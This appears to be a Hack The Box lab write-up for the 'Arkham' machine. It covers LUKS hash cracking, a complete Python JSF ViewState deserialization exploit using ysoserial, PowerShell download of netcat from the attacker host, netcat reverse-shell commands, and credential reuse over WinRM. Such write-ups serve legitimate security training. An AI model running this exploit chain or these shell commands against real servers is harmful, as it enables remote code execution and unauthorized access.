Arkham - Hack The Box

Arkham was a medium difficulty box that shows how Java deserialization can be used by attackers to get remote code execution. After finding the JSF viewstates encryption key in a LUKS encrypted file partition, I created a Java deserialization payload using ysoserial to upload netcat and get a shell. After getting to user Batman with credentials found in a backup file, I was able to get access to the administrator directory by mounting the local c: drive via SMB instead of doing a proper UAC bypass.

Summary

  • There’s an open SMB share where I find an appserver.zip file that contains a LUKS encrypted file partition
  • After extracting the LUKS hash from the image file, I am able to crack it with hashcat
  • I then mount the image and find the JSF app configuration files
  • One of the file reveals the MAC secret for the JSF viewstates encryption
  • I contruct an exploit that uses an already existing payload generator for JSF ViewStates and gain RCE
  • I download netcat through powershell using the exploit then execute it to get a reverse shell
  • The user alfred has a backup.zip file that contains an image with the batman user password
  • I can get access as batman by using WinRM locally but I can’t view the admin’s directory because of UAC
  • The unintended way to solve this one was to mount the local drive and read the system flag, therefore bypassing UAC

Blog / Tools

Nmap

# nmap -sC -sV -p- 10.10.10.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-16 22:32 EDT
Nmap scan report for arkham.htb (10.10.10.130)
Host is up (0.0080s latency).
Not shown: 65528 filtered ports
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
8080/tcp  open  http          Apache Tomcat 8.5.37
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Mask Inc.
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Web enum - IIS on port 80

I just get the standard default IIS web page when I go to port 80.

I didn’t find anything when dirbusting it.

Web enum - Apache Tomcat on port 8080

The Apache Tomcat page is much more interesting, it’s a company’s front page with a subscription and contact form.

Most of the links are not functional, but to make sure I didn’t miss anything I spidered the website with Burp:

The userSubscribe.faces file is the Subscribe link on the main page.

The .faces extension is used by JavaServer Faces

According to Wikipedia:

JavaServer Faces (JSF) is a Java specification for building component-based user interfaces for web applications[1] and was formalized as a standard through the Java Community Process being part of the Java Platform, Enterprise Edition. It is also a MVC web framework that simplifies construction of user interfaces (UI) for server-based applications by using reusable UI components in a page.

I’ll get back to that after the SMB enumeration, this is the way in.

SMB enumeration

I’ll use smbmap to quickly scan for accessible shares. I’m using an invalid username here so it connects as guest and not using a null session.

# smbmap -u snowscan -H 10.10.10.130
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.130...
[+] IP: 10.10.10.130:445	Name: arkham.htb
	Disk                                                  	Permissions
	----                                                  	-----------
	ADMIN$                                            	NO ACCESS
	BatShare                                          	READ ONLY
	C$                                                	NO ACCESS
	IPC$                                              	READ ONLY
	Users                                             	READ ONLY

BatShare is accessible in read-only mode and there is a single file in there.

# smbmap -u snowscan -r BatShare -H 10.10.10.130
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.130...
[+] IP: 10.10.10.130:445	Name: arkham.htb
	Disk                                                  	Permissions
	----                                                  	-----------
	BatShare                                          	READ ONLY
	./
	dr--r--r--                0 Sun Feb  3 08:04:13 2019	.
	dr--r--r--                0 Sun Feb  3 08:04:13 2019	..
	fr--r--r--          4046695 Sun Feb  3 08:04:13 2019	appserver.zip

Downloading the file using smbmap:

# smbmap -u snowscan --download BatShare\\appserver.zip -H 10.10.10.130
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.130...
[+] Starting download: BatShare\appserver.zip (4046695 bytes)
[+] File output to: /usr/share/smbmap/10.10.10.130-BatShare_appserver.zip

Extracting and checking the content:

# 7z e 10.10.10.130-BatShare_appserver.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-2600K CPU @ 3.40GHz (206A7),ASM,AES-NI)

Scanning the drive for archives:
1 file, 4046695 bytes (3952 KiB)

Extracting archive: 10.10.10.130-BatShare_appserver.zip
--
Path = 10.10.10.130-BatShare_appserver.zip
Type = zip
Physical Size = 4046695

Everything is Ok

Files: 2
Size:       13631637
Compressed: 4046695
# ls -l
total 17268
-rw-r--r-- 1 root root  4046695 Mar 16 23:24 10.10.10.130-BatShare_appserver.zip
-rw-r--r-- 1 root root 13631488 Dec 25 01:05 backup.img
-rw-r--r-- 1 root root      149 Dec 25 01:21 IMPORTANT.txt

I check the IMPORTANT.txt message first and see that it contains a hint that the backup.img file is protected.

# cat IMPORTANT.txt
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce

I then check what kind of file this is and see that it is a LUKS encrypted file:

# file backup.img
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e

The Linux Unified Key Setup (LUKS) is a disk encryption specification created by Clemens Fruhwirth in 2004 and originally intended for Linux.

Cracking and looking inside LUKS container

I can extract the beginning of the partition containing the header so I can crack it with hashcat after:

# dd if=backup.img of=backup_header.dd bs=512 count=5000
5000+0 records in
5000+0 records out
2560000 bytes (2.6 MB, 2.4 MiB) copied, 0.0232298 s, 110 MB/s

Now I can crack it with hashcat:

C:\bin\hashcat>hashcat64 -m 14600 -a 0 -w 3 backup_header.dd passwords\rockyou.txt
hashcat (v5.1.0) starting...

[...]

backup_header.dd:batmanforever

The password is batmanforever

To mount the image I first open the image file and assign it to the device mapper, then mount it under /mnt:

# cryptsetup luksOpen backup.img backup
Enter passphrase for backup.img: [batmanforever]
# mount /dev/mapper/backup /mnt

root@ragingunicorn:/mnt/Mask# ls -lR
.:
total 880
drwxr-xr-x 2 root root   1024 Dec 25 00:22 docs
-rw-rw-r-- 1 root root  96978 Dec 25 00:18 joker.png
-rw-rw-r-- 1 root root 105374 Dec 25 00:20 me.jpg
-rw-rw-r-- 1 root root 687160 Dec 25 00:20 mycar.jpg
-rw-rw-r-- 1 root root   7586 Dec 25 00:19 robin.jpeg
drwxr-xr-x 2 root root   1024 Dec 25 00:24 tomcat-stuff

./docs:
total 196
-rw-r--r-- 1 root root 199998 Jun 15  2017 Batman-Begins.pdf

./tomcat-stuff:
total 191
-rw-r--r-- 1 root root   1368 Dec 25 00:23 context.xml
-rw-r--r-- 1 root root    832 Dec 25 00:24 faces-config.xml
-rw-r--r-- 1 root root   1172 Dec 25 00:23 jaspic-providers.xml
-rw-r--r-- 1 root root     39 Dec 25 00:24 MANIFEST.MF
-rw-r--r-- 1 root root   7678 Dec 25 00:23 server.xml
-rw-r--r-- 1 root root   2208 Dec 25 00:23 tomcat-users.xml
-rw-r--r-- 1 root root 174021 Dec 25 00:23 web.xml
-rw-r--r-- 1 root root   3498 Dec 25 00:24 web.xml.bak

So I have a bunch of files in there, I’ll concentrate on the xml files.

In the web.xml.bak file, I find the encryption key for the ViewState. I can use this to construct my own serialized objects and pass them to the server to gain RCE.

<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
    <context-param>
        <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
        <param-value>HmacSHA1</param-value>
     </context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>

Java Server Faces object deserialization exploit

I’ll use ysoserial to generate the payload, then write some python to calculate the hmac based on the key provided in the web.xml.bak file.

#!/usr/bin/python

from base64 import b64encode
from hashlib import sha1
from pwn import *
from requests import post, get

import hmac
import os
import pyDes
import sys

def main():
    if len(sys.argv) < 4:
        print("Java JSF exploit")
        print("Usage: {} <url> <cmd> <secret>\n".format(sys.argv[0]))
        sys.exit()

    url = sys.argv[1]
    cmd = sys.argv[2]
    secret = sys.argv[3]

    log.info("Payload provided: {}".format(cmd))
    cmd = "java -jar ./ysoserial.jar CommonsCollections6 \"{}\" > payload.bin".format(cmd)
    log.info("Generating the payload with: {}".format(cmd))
    os.system(cmd)

    log.info("Payload was written to payload.bin, reading it into variable...")
    with open("payload.bin", "rb") as f:
        payload = f.read()

    log.info("Length of payload: {} bytes".format(len(payload)))

    key = bytes(secret).decode("base64")
    des = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
    enc = des.encrypt(payload)
    b = hmac.new(key, bytes(enc), sha1).digest()
    payload = enc + b

    log.info("Sending encoded payload: {}".format(b64encode(payload)))
    data = {"javax.faces.ViewState": b64encode(payload)}
    r = post(url, data=data)
    log.success("Done!")

if __name__ == "__main__":
    main()

To get a reverse shell, I’ll generate a payload that downloads netcat from my machine and store in it c:\programdata. I’m a fan of using netcat whenever possible for these types of challenges so I don’t need to debug Powershell payloads, etc. It’s certainly not stealthy or elegant but it’s good enough for me here.

# python boom.py http://10.10.10.130:8080/userSubscribe.faces "powershell -command \\\"Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -outfile \\programdata\\nc.exe\\\"" SnNGOTg3Ni0=
[*] Payload provided: powershell -command \"Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -outfile \programdata\nc.exe\"
[*] Generating the payload with: java -jar ./ysoserial.jar CommonsCollections6 "powershell -command \"Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -outfile \programdata\nc.exe\"" > payload.bin
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections6 (file:/root/htb/arkham/ysoserial.jar) to field java.util.HashSet.map
WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections6
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
[*] Payload was written to payload.bin, reading it into variable...
[*] Length of payload: 1372 bytes
[*] Sending encoded payload: EpflyBhnLkAS/cI6nexhMqH/tMmK+e+oOSB+iGGStMf3iTfxuPA5PGNGhz6HO2nAZeudvUiuJvqiPb69whWbK2/EFMRkmhTDywwZ5O1KTeC46zdFOsXfLYOq+MjjY+tkAaxKM5Zb/
[...]
[+] Done!

The server retrieves the file from my VM:

# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.130 - - [17/Mar/2019 00:11:35] "GET /nc.exe HTTP/1.1" 200 -

Then I can execute netcat and get a shell:

# python boom.py http://10.10.10.130:8080/userSubscribe.faces "\\programdata\\nc.exe -e cmd.exe 10.10.14.23 4444" SnNGOTg3Ni0=
[*] Payload provided: \programdata\nc.exe -e cmd.exe 10.10.14.23 4444
[*] Generating the payload with: java -jar ./ysoserial.jar CommonsCollections6 "\programdata\nc.exe -e cmd.exe 10.10.14.23 4444" > payload.bin
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections6 (file:/root/htb/arkham/ysoserial.jar) to field java.util.HashSet.map
WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections6
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
[*] Payload was written to payload.bin, reading it into variable...
[*] Length of payload: 1320 bytes
[*] Sending encoded payload: EpflyBhnLkAS/cI6nexhMqH/tMmK+e+oOSB+iGGStMf3iTfxuPA5PGNGhz6HO2nAZeudvUiuJvqiPb69whWbK2/EFMRkmhTDywwZ5O1KTeC46zdFOsXfLYOq+MjjY+tkAaxKM5Zb/
[...]
[+] Done!

I get a shell and found user.txt:

# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.130] 49686
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\tomcat\apache-tomcat-8.5.37\bin>whoami
arkham\alfred

C:\tomcat\apache-tomcat-8.5.37\bin>type c:\users\alfred\desktop\user.txt
ba6593...

Elevate to user Batman

Checking local users, I find that batman is a member of local administrators so this is likely the next step.

C:\Users\Alfred>net users

User accounts for \\ARKHAM

-------------------------------------------------------------------------------
Administrator            Alfred                   Batman
DefaultAccount           Guest                    WDAGUtilityAccount
The command completed successfully.

C:\Users\Alfred>net users batman
[...]

Local Group Memberships      *Administrators       *Remote Management Use
                             *Users
Global Group memberships     *None
The command completed successfully.

I find a backup file in Alfred’s Downloads directory.

C:\Users\Alfred>dir /s downloads
 Volume in drive C has no label.
 Volume Serial Number is FA90-3873

 Directory of C:\Users\Alfred\downloads

02/03/2019  08:48 AM    <DIR>          .
02/03/2019  08:48 AM    <DIR>          ..
02/03/2019  08:41 AM    <DIR>          backups
               0 File(s)              0 bytes

 Directory of C:\Users\Alfred\downloads\backups

02/03/2019  08:41 AM    <DIR>          .
02/03/2019  08:41 AM    <DIR>          ..
02/03/2019  08:41 AM           124,257 backup.zip
               1 File(s)        124,257 bytes

I transferred the backup.zip file to my Kali box with netcat then checked its contents.

# 7z e backup.zip

# ls -l
total 33816
-rwx------ 1 root root 16818176 Feb  2 18:00 alfred@arkham.local.ost

This is an Outlook mailbox file and I can use readpst to read it instead of transferring it to my Windows VM.

# readpst -S alfred@arkham.local.ost
Opening PST file and indexes...
Processing Folder "Deleted Items"
Processing Folder "Inbox"
Processing Folder "Outbox"
Processing Folder "Sent Items"
Processing Folder "Calendar"
Processing Folder "Contacts"
Processing Folder "Conversation Action Settings"
Processing Folder "Drafts"
Processing Folder "Journal"
Processing Folder "Junk E-Mail"
Processing Folder "Notes"
Processing Folder "Tasks"
Processing Folder "Sync Issues"
	"Inbox" - 0 items done, 7 items skipped.
	"Calendar" - 0 items done, 3 items skipped.
Processing Folder "RSS Feeds"
Processing Folder "Quick Step Settings"
	"alfred@arkham.local.ost" - 15 items done, 0 items skipped.
Processing Folder "Conflicts"
Processing Folder "Local Failures"
Processing Folder "Server Failures"
	"Sync Issues" - 3 items done, 0 items skipped.
	"Drafts" - 1 items done, 0 items skipped.

I now have the email extracted and a PNG image attachment.

# ls -lR
.:
total 16
drwxr-xr-x 2 root root 4096 Mar 17 00:35  Calendar
drwxr-xr-x 2 root root 4096 Mar 17 00:35  Drafts
drwxr-xr-x 2 root root 4096 Mar 17 00:35  Inbox
drwxr-xr-x 2 root root 4096 Mar 17 00:35 'Sync Issues'

./Calendar:
total 0

./Drafts:
total 52
-rw-r--r-- 1 root root 37968 Mar 17 00:35 1
-rw-r--r-- 1 root root 10059 Mar 17 00:35 1-image001.png

The email contains a reference to Batman’s password, which is in the attached image.

<p class=MsoNormal>Master Wayne stop forgetting your password<o:p></o:p></p>

The attachment contains a screenshot with Batman’s password:

Password: Zx^#QZX+T!123

Using WinRM I can start a powershell session as batman.

C:\Users\Alfred>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Alfred> $username = 'batman'
PS C:\Users\Alfred> $password = 'Zx^#QZX+T!123'
PS C:\Users\Alfred> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\Users\Alfred> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
PS C:\Users\Alfred> enter-pssession -computername arkham -credential $credential
[arkham]: PS C:\Users\Batman\Documents>

Something’s wrong though, I can’t change directories or see error messages:

[arkham]: PS C:\Users\Batman\Documents> cd ..
[arkham]: PS C:\Users\Batman\Documents> whoami
arkham\batman
[arkham]: PS C:\Users\Batman\Documents> cd \users\administrator\desktop

So what I did was spawn another netcat as batman

[arkham]: PS C:\Users\Batman\Documents> c:\programdata\nc.exe -e cmd.exe 10.10.14.23 6666

# nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.130] 49695
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Batman\Documents>whoami
arkham\batman

Unintended way to get access to the Administrator user directory

I can’t get to the Administrator directory because UAC is enabled.

With Powershell I can check the status of UAC and see that it is enabled:

PS C:\Users\Batman\Documents> (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA
1

For some reason, if I use UNC paths I can access to the administrator directory… So this is probably unintended by the box creator but it does get me the flag :)

C:\Users\Batman\Documents>pushd \\10.10.10.130\c$

Z:\>cd \users\administrator\desktop

Z:\Users\Administrator\Desktop>dir
 Volume in drive Z has no label.
 Volume Serial Number is FA90-3873

 Directory of Z:\Users\Administrator\Desktop

02/03/2019  09:32 AM    <DIR>          .
02/03/2019  09:32 AM    <DIR>          ..
02/03/2019  09:32 AM                70 root.txt
               1 File(s)             70 bytes
               2 Dir(s)   8,710,045,696 bytes free

Z:\Users\Administrator\Desktop>type root.txt
type root.txt
636783...